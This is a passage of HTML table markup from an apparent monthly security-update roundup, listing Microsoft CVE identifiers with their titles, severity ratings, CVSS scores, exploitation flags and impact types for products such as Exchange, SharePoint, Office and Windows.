  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
